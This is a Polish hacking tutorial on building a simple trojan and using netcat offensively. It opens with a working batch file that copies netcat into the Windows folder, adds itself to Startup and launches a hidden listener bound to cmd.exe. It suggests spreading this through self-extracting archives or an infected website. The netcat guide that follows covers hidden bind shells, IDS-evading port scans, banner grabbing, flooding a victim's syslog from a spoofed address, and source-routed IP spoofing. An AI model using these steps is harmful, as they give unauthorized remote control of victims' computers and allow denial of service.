Jak zrobic prostego trojana ktory bedzie sie nam uruchamial po kazdym starcie systemu.???
co bedzie nam potrzebne:
1.plik bat
2.netcat
3.mozg:)
AD1.
w pliku bat zapisujemy sobie :
@echo off
copy nc.exe c:\windows\nc.exe
copy automat.bat C:\Documents and Settings\all users\Menu Start\Programy\Autostart\automat.bat
start c:\windows\nc.exe -l -p(numer portu ktory ma byc otwarty) -d -e cmd.exe
Ad2.
Plik netcat.exe umieszczamy w tym samym folderze co nasz plik wsadowy bat
AD3
Jest masa mozliwosci na to by ukryc te dwa pliki w jednym.
1.zbninduj se;]
2.stworz archiwum sfx ktore ci rozpakuje pliki i odpali plik bat (zalecane)
3.wrzuc na strone www i zainfekuj ja tak by sciagala te pliki i odpalala plik wsadowy bat
-------------------------------------------------------------
TERAZ TYLKO SIE TELNETUJ NA HOSTA KTOREMU ZAINSTALOWALES BACKDOORA :) i loozik :)
--------------
Ponizej mala instrukcja oraz wyjasnienie dla tych co nie wiedza jak sie poslugiwac tym narzedziem.
-----------------------------
Netcat (nc/nc.exe) jest bardzo popularnym narzędziem, wykorzystywanym zarówno przez hakerów, administratorów, jak i specjalistów zajmujących się
bezpieczeństwem systemów informatycznych. Ogólnie rzecz ujmując, Netcat tworzy i akceptuje połączenia dokonywane przy pomocy dwóch
protokołów sieciowych TCP (Transmission Control Protocol) oraz UDP (User Datagram Protocol). W przypadku protokołu UDP, który jest
bezpołączeniowy, program umożliwia tylko wysyłanie danych. Można śmiało powiedzieć, że Netcat jest prostym podsystemem sieciowym TCP,/UDP,
który umożliwia użytkownikowi bezpośredni dostęp do stosu protokołów TCP/IP na poziomie warstwy aplikacji. Program pozwala kontrolować dane
jeszcze przed przesłaniem ich do wyższych warstw stosu, takich jak protokół przesyłania plików FTP (File Transfer Protocol), protokół wykorzystywany
do transmisji zawartości stron WWW - HTTP (Hypertext Transfer Protocol), czy też protokół służący do wysyłania poczty elektronicznej - SMTP
(Simple Mail Transfer Protocol).
Netcat nie posiada graficznego interfejsu i jest narzędziem linii poleceń. O jego dużych możliwościach świadczy natomiast wiele funkcji, które jest on
w stanie wykonać oraz sytuacji, w których jest przydatny. Uogólniając, Netcat może być jednym z najbardziej użytecznych narzędzi wykorzystywanych
przez hakerów oraz administratorów.
Instalacja
Netcat jest narzędziem bezpłatnym i w wielu odmianach Unixa (Linuksa) występuje jako jedna z dodatkowych aplikacji dostarczanych w dystrybucji.
Głównym miejscem w sieci, z którego można pobrać aktualną wersję programu, zarówno dla systemów Windows, jak i dla Unixa (Linuksa), jest
www.atstake.com/research/tools/. Znajduje się tam także wiele innych, równie ciekawych i przydatnych aplikacji – między innymi narzędzie do łamania
haseł L0phtCrack.
W przypadku wersji Netcat dla Windows, należy pobrać spakowane archiwum ZIP i rozpakować pliki do wybranego katalogu. Po wykonaniu tej
czynności, program jest gotowy do użycia.
W przypadku wersji dla Unixa (Linuksa), można pobrać kod źródłowy Netcata i dokonać jego kompilacji. W tym celu należy:
1. Pobrać plik „nc110.tgz” ze strony WWW @tstake.
2. Rozpakować go poleceniem:
[root@linux] tar zxf nc110.tgz
Warto pamiętać, że program kompresujący nie tworzy katalogu dla Netcat automatycznie i dlatego warto utworzyć katalog, w którym rozpakuje się
archiwum „nc110.tgz”, na przykład poleceniem:
[root@linux] mkdir nc
Podczas kompilacji można wykorzystać dwie opcje. Pierwszą z nich jest GAPING_SECURITY_HOLE. Pozwala ona Netcatowi na przechwytywanie,
modyfikowanie i przekierowanie danych przesyłanych między dwoma zewnętrznymi programami (usługami). Jest to bardzo niebezpieczna opcja, a
zarazem posiadająca duże możliwości wykorzystania. Dzięki niej Netcat może działać jako fałszywy demon (program działający w tle) usługi „inetd”,
pozwalając na zdalne wykonywanie poleceń oraz łączenie się z nasłuchującymi portami. Druga opcja - TELNET, pozwala Netcatowi na prowadzenie
negocjacji z serwerem usługi „telnet” oraz uzyskanie dostępu na określonych warunkach. Sposoby jej wykorzystania podane zostaną w dalszej części
artykułu.
Aby uaktywnić jedną z wyżej opisanych opcji (lub obie), należy dodać następującą linię do pliku „makefile”:
DFLAGS = -DGAPING_SECURITY_HOLE –DTELNET
W tym miejscu warto zaznaczyć, że skompilowany plik programu Netcat może być doskonałą bronią obosieczną. Może wykorzystać zainstalowanego
Netcata jako konia trojańskiego (łącząc się z nim), dlatego bardzo ważne jest odebranie prawa do wykonywania tego programu wszystkim innym
użytkownikom natychmiast po jego skompilowaniu. Aby dokonać kompilacji, należy wykorzystać polecenie:
[root@linux] make systemtype
W przypadku wersji Netcata dla Windows, wszystkie opcje (plus inne) są wykorzystywane domyślnie. Jeśli nie dokonano zmian nazwy programu, w
Unixie Netcat będzie nazywał się „nc”, a w Windows „nc.exe”.
Opcje i argumenty
Podstawowa składnia programu Netcat to:
nc [opcje] host porty
w której „nc” jest nazwą programu, „host” jest nazwą lub adresem IP (Internet Protocol) komputera, natomiast „porty” oznaczają port lub zakres portów
komputera „host”, na których Netcat będzie wykonywał określone czynności. „[opcje]” to miejsce, gdzie można wpisywać szereg argumentów
różnicujących pracę aplikacji. Argumenty wraz z krótkimi komentarzami przedstawia tabela 1.
Opcje programu Netcat
-d opcja dostępna tylko w Windows. Netcat pracuje w trybie stealth. Pozwala na uruchomienie i działanie programu w tle, bez otwartego
okienka trybu tekstowego – ukrycie działania.
-e opcja dostępna po dokonaniu kompilacji z opcją GAPING_SECURITY_HOLE. Nasłuchujący Netcat wykona za każdym razem, gdy ktoś
(lub coś) dokona próby połączenia się z portem, na którym nasłuchuje Netcat. Dodatkowo klient Netcata przekieruje oryginalną transmisję w inne
miejsce, w którym nasłuchiwać będzie inny Netcat. Jest to bardzo niebezpieczna opcja, pozwalająca na szybkie przygotowanie „tylnego wejścia” do
systemu (tzw. backdoor).
-i zezwala na opóźnienie wykonania zadania przez czas równy . Opcja przydatna głównie podczas skanowania portów i innych zadań,
umożliwiająca ukrycie (w pewnym zakresie) wykorzystania narzędzia jako elementu skryptu (automatyzacja).
-g pozwala na wykorzystanie do ośmiu punktów (adresów IP), przez które będą przesyłane dane. Opcja jest niezwykle przydatna podczas
podszywania się pod jakiś adres IP (IP spoofing) w celu np. obejścia reguł zabezpieczających firewalla lub też ukrycie źródłowego adresu IP
nadawcy wiadomości e-mail. W tym celu potrzebny jest odpowiedni dostęp do każdego węzła, przez który pakiet ma przechodzić, a węzły muszą
wspierać tzw. „source routing”.
-G opcja ta pozwala na zmianę kolejności trasowania pakietów poprzez węzły w sieci zdefiniowane poprzez opcję „-g”.
-l włącza tryb nasłuchiwania. Opcja ta musi występować w połączeniu z opcją „-p”, aby Netcat wiedział, na którym porcie ma nasłuchiwać,
oczekując na przychodzące połączenia.
-L opcja dostępna tylko w Windows. Działa podobnie do „-l” oraz wymaga opcji „-p”. Różnica w stosunku do „-l” polega na tym, że po
zakończeniu połączenia Netcat ponownie uruchamia się w trybie nasłuchiwania – bez potrzeby ingerencji użytkownika.
-n opcja powoduje, że Netcat nie będzie w ogóle wyszukiwał hostów w sieci.
-o Netcat tworzy plik zawierający dane przychodzące i wychodzące z hosta. W celu zapisywania jedynie danych przychodzących, należy użyć
symbolu „<” przed nazwą pliku („nc –o ” („nc –o >nazwa_pliku”) umożliwia natomiast przechwytywanie danych wysyłanych.
-p pozwala na specyfikację lokalnego portu, który będzie wykorzystywany przez program. Jeśli opcja ta nie zostanie jednoznacznie
zdefiniowana, system operacyjny sam przydzieli port dla Netcat. Należy pamiętać, że w systemach Unix tylko administrator (root) może przydzielać
porty poniżej wartości 1024.
-r opcja bardzo przydatna podczas skanowania dużej ilości portów. Pozwala na losowe wybieranie portów lokalnych i zdalnych z grupy
zdefiniowanych w momencie wykonania polecenia. Losowe mieszanie kolejności powoduje, że skanowanie nie może zostać niezauważone.
-s opcja ta pozwala na zdefiniowanie źródłowego adresu IP, który będzie wykorzystywany przez program Netcat. Dzięki tej opcji, hakerzy
mogą ukrywać swój prawdziwy adres IP lub podszywać się pod jakiś inny.
-t opcja dostępna po dokonaniu kompilacji z opcją TELNET. Dzięki niej Netcat będzie działał jako klient usługi Telnet. Podczas negocjacji z
serwerem Telnet, Netcat będzie podawał dane bez znaczenia, ale połączenie zostanie zaakceptowane.
-u opcja powoduje używanie bezpołączeniowego i beznegocjacyjnego protokołu UDP zamiast domyślnego TCP.
-v opcja definiuje ilość informacji wyświetlanych przez Netcata w trakcie działania. Bez „-v” program wyświetli tylko dane, które otrzyma. Jedna
opcja „-v” pozwoli uzyskać więcej informacji dotyczących adresów IP oraz ewentualnego wystąpienia błędów. Podwójne „-v” spowoduje, że, po
zakończeniu połączenia, Netcat wyświetli ilość danych wysłanych i otrzymanych podczas trwania połączenia.
-w po upłynięciu czasu w sekundach Netcat zakończy połączenie.
-z opcja powoduje, że, podczas skanowania portów, Netcat wyśle tylko niezbędne minimum informacji, aby upewnić się, które porty są
otwarte w zdalnym systemie.
Przykłady zastosowań
Program Netcat umożliwia zdalny dostęp do komputera w sieci z innego komputera. Spełniony powinien zostać następujący warunek: komputer
zdalny musi mieć swój adres IP widoczny z sieci (dla naszego przykładu będzie to 192.168.120.23), w której znajduje się komputer
lokalny(nawiązujący połączenie). Uzyskany dostęp ma być realizowany do systemu Windows 2000 z dowolnego innego systemu operacyjnego
(Windows 9x lub Linuks).
W celu uzyskania zdalnego dostępu do systemu Windows, należy uruchomić w nim Netcat:
C:\> nc.exe –l –p5555 –e cmd.exe
Natomiast w systemie Unix (Linuks) polecenie wyglądałoby następująco (lub podobnie w zależności od dystrybucji):
[root@linux] ./nc –l –p 5555 –e /bin/sh
Teraz wystarczy połączyć się z nim przy pomocy dowolnego klienta usługi Telnet z drugiego komputera:
C:\> telnet 192.168.120.23 5555
W ten sposób uzyskano dostęp, z dowolnego komputera, do trybu tekstowego („cmd.exe”) systemu, w którym działa Netcat. W Windows, jeśli,
zamiast opcji „-l”, zostanie wykorzystane „-L”, Netcat nie zakończy swojego działania po zamknięciu sesji ze zdalnego systemu. Należy pamiętać, że
dostęp do systemu zdalnego będzie miał takie same prawa, z jakimi został uruchomiony nasłuchujący Netcat. W Windows 9x/Me jest to prawo do
wszystkiego. W wywołaniu Netcata zamiast „cmd.exe”, obowiązującego dla Windows NT/2000/XP/.Net, należy wpisać „command.com”.
Powyższe rozwiązanie posiada jednak jeden poważny minus. Netcat, uruchomiony w systemie docelowym, wykorzystuje okienko trybu tekstowego.
Haker wolałby jednak, aby jego działania pozostawały niezauważone. Cóż może zrobić? Wystarczy, że wykorzysta przełącznik „-d”. Wtedy Netcat
będzie działał w tle:
C:\> nc –L –p 5555 –d –e cmd.com
Po wykonaniu polecenia można zamknąć okno trybu tekstowego – Netcat działa w tle. Dobry administrator, wcześniej czy później, wykryje
nasłuchujący program Netcat, dlatego hakerzy zwykle zamieniają znane nazwy, wykorzystywanych przez siebie programów, na takie, które nie
wzbudzają podejrzeń.
Jakkolwiek, Netcat nie jest typowym skanerem portów, istnieje możliwość wykorzystania go w tym celu:
[root@linux] ./nc –v –z 192.168.120.45 1-1024
Powyższe polecenie rozpocznie skanowanie zakresu portów od 1 do 1024 maszyny o adresie IP 192.168.120.45. Opcja „-v” jest niezbędna, gdyż, w
innym wypadku, Netcat nie zwróciłby żadnych informacji. Netcat jest wolniejszy od zwykłych skanerów portów, ale mimo to może być bardzo
przydatny. Aby się o tym przekonać, wystarczy prześledzić odpowiednie logi systemowe (np. syslog w Linuksie) i zobaczyć, jakie wpisy zostały
poczynione.
Poniższe polecenie sprawdzi, czy, uruchomiony wcześniej Netcat, nadal nasłuchuje na porcie 5555:
C:\>nc -v -z 192.168.0.20 5555
NOTE[192.168.0.20] 5555 (?) open
C:\>
Jak widać Netcat dalej działa na komputerze Note, umożliwiając zdalny dostęp z innego komputera.
Po dodaniu do powyższego polecenia opcji „-i” oraz „-r”, działanie Netcata stanie się bardziej wyrafinowane, nawet dla skomplikowanych firewalli oraz
systemów IDS (Intrusion Detection Systems). Warto zwrócić uwagę na fakt, iż kolejność skanowanych i wykrywanych portów jest różna (por. ramka 1).
Każdy port będzie skanowany co 24 sekundy. Skanowanie można też przeprowadzić dodając opcję „-u”, jednak Netcat, podczas skanowania przy
pomocy protokołu UDP, wykorzystuje komunikaty ICMP (Internet Control Message Protocol). W związku z tym, gdy urządzenie brzegowe sieci, której
skanowanie jest przeprowadzane, nie będzie przepuszczało tego typu komunikatów – program Netcat nie spełni swojego zadania.
Skanowanie portów za pomocą programu Netcat
[root@linux] ./nc –v –z –r –i 24 192.168.0.10 25-445
NOTE [192.168.0.10] 80 (http): connection refused
NOTE [192.168.0.10] 25 (smtp): connection refused
NOTE [192.168.0.10] 138 (?): connection refused
NOTE [192.168.0.10] 110 (pop3): connection refused
NOTE [192.168.0.10] 135 (epmap) open
NOTE [192.168.0.10] 445 (microsoft-ds) open
NOTE [192.168.0.10] 443 (https): connection refused
NOTE [192.168.0.10] 139 (netbios-ssn) open
Netcat może służyć do uzyskiwania informacji od usług działających na otwartych portach. Jeśli czytelnik wykonał powyższe przykłady, zapewne
zauważył, że polecenie przedstawione w ramce 1 zatrzymuje się na pierwszym porcie. Jest to spowodowane faktem, że program czeka na interakcję
użytkownika (na wprowadzenie danych wejściowych). Rozwiązaniem tego problemu jest, np.:
[root@linux] echo QUIT | ./nc –v 192.168.0.20 25-445
To polecenie, wydane w Linuksie, powinno spowodować wypisanie wizytówek usług, które będą nasłuchiwały na otwartych portach. Niestety, w
Windows nie działają poprawnie zakresy portów. Zamiast np. 25-445, jak w Linuksie, w Windows trzeba każdy port wpisywać w oddzielnym poleceniu
(można ten problem rozwiązać dodatkowym zewnętrznym skryptem).
Jakie informacje uda uzyskać od z serwera WWW (ramka 2)?
Jakie informacje można uzyskać od serwera WWW?
C:\>nc -v -z 192.168.0.1 80
cienias.local.pl [192.168.0.1] 80 (http) open
C:\>nc -v 192.168.0.1 80
GET / HTTP
HTTP/1.0 400 Bad Request
Server: Squid/2.4.STABLE7
Mime-Version: 1.0
Date: Wed, 07 Aug 2002 19:14:13 GMT
Content-Type: text/html
Content-Length: 906
Expires: Wed, 07 Aug 2002 19:14:13 GMT
X-Squid-Error: ERR_INVALID_REQ 0
X-Cache: MISS from squid.cienias.pl
X-Cache-Lookup: NONE from squid.cienias.pl:8080
Proxy-Connection: close
W pierwszej kolejności trzeba sprawdzić, czy serwer o adresie IP 192.168.0.1 posiada otwarty port 80 (usługa WWW standardowo nasłuchuje na
tym porcie). Jeżeli port jest otwarty, należy ponownie wpisać polecenie, ale tym razem bez opcji „-z” i w następnej linii dodać „GET / HTTP”, kończąc
podwójnym naciśnięciem . Serwer WWW odpowiada swoją nazwą i wersją. Na zakończenie trzeba sprawdzić jego słabe punkty i... pamiętać, że tego
robić nie wolno :)
Warto zwrócić uwagę na fakt, że w tym przypadku sprawdzany serwer WWW nie jest „zwykłym” serwerem WWW, ale raczej z serwerem proxy
(ostatnia linijka przykładu z ramki 2). Dobrzy administratorzy często dokonują zmian w domyślnych wizytówkach usług. Pozwala to oszukać wielu
potencjalnych intruzów. Jest to mozolna praca, ale czasem może przynieść korzyści – natomiast haker nigdy nie powinien do końca ufać temu, co
widzi na ekranie monitora.
Użytkownicy Linuksa mogą spróbować wykorzystać z demona „syslog”, który zwykle działa na porcie UDP 514. Istnieje prosty sposób na zapełnienie
logów systemowych bezsensownymi danymi, powodując np. przepełnienie dysku twardego na zdalnej maszynie. Aby tego dokonać, trzeba wykonać
polecenie:
[root@linux] yes „<20>cośtamcośtamcośtam” | nc –s 10.10.10.10 –u ofiara.com 514
Polecenie „yes” powoduje wpisywanie tekstu, który występuje po nim do momentu, gdy proces zostanie zabity („killed”) przez system „ofiara.com”.
Przykładowym powodem jego zabicia jest sytuacja, gdy zabraknie miejsca na dysku. Co ciekawsze, podany adres źródłowy IP 10.10.10.10 może nie
istnieć (choć będzie pojawiał się w logach), ponieważ użyty został bezpołączeniowy protokół UDP, który nie wymaga ustanowienia sesji.
Najlepszą obroną, przed atakiem tego typu, jest ograniczenie ilości danych odbieranych przez daemona „syslog” oraz zablokowanie przychodzącego
ruchu „syslog” na routerze brzegowym sieci.
Jednym z bardziej interesujących problemów, z codziennej praktyki hakera, jest umiejętność podszywania się pod cudzy adres IP, w celu ukrycia
własnej tożsamości. Oczywiście, samo podanie fałszywego adresu jest zadaniem bardzo prostym (opcja „-s”). Problemem jednak staje się
zmuszenie adresata do odesłania odpowiedzi nie pod fałszywy, ale pod prawdziwy adres IP, pod którym nasłuchuje oprogramowanie hakera bez
ujawnienia się tego ostatniego.
Z pomocą przychodzi hakerowi opcja „-g”, pozwalająca na sprecyzowanie kilku adresów IP, przez które zostanie wysłany pakiet powrotny na
sfałszowany adres. W jednym z tych punktów może znajdować się, kontrolowane przez hakera, oprogramowanie zmieniające fałszywy adres IP na
inny, tym razem prawdziwy, który jest w posiadaniu intruza.
Na przykład polecenie:
C:\> nc –g 10.10.10.1 –g 10.10.10.2 –g 10.10.10.3 10.10.10.4 23
,spowoduje połączenie się z usługą „telnet” maszyny 10.10.10.4 (port TCP 23). Jeśli maszyna ta odpowie, to pakiet przejdzie najpierw przez hosty o
adresach 10.10.10.1-2, a następnie do 10.10.10.3. Należy dodać, iż nie wszystkie routery zezwalają na wykorzystanie tej techniki („source routing”), a
większość systemów wykrywania intruzów (jak np. SNORT) alarmuje po wykryciu, większego niż zwykle, nagłówka IP w pakiecie.
Netcat pozwala na przechwytywanie pakietów. Jednym z praktycznych zastosowań jego możliwości może być przejęcie i zrzut do pliku danych
...
wep_2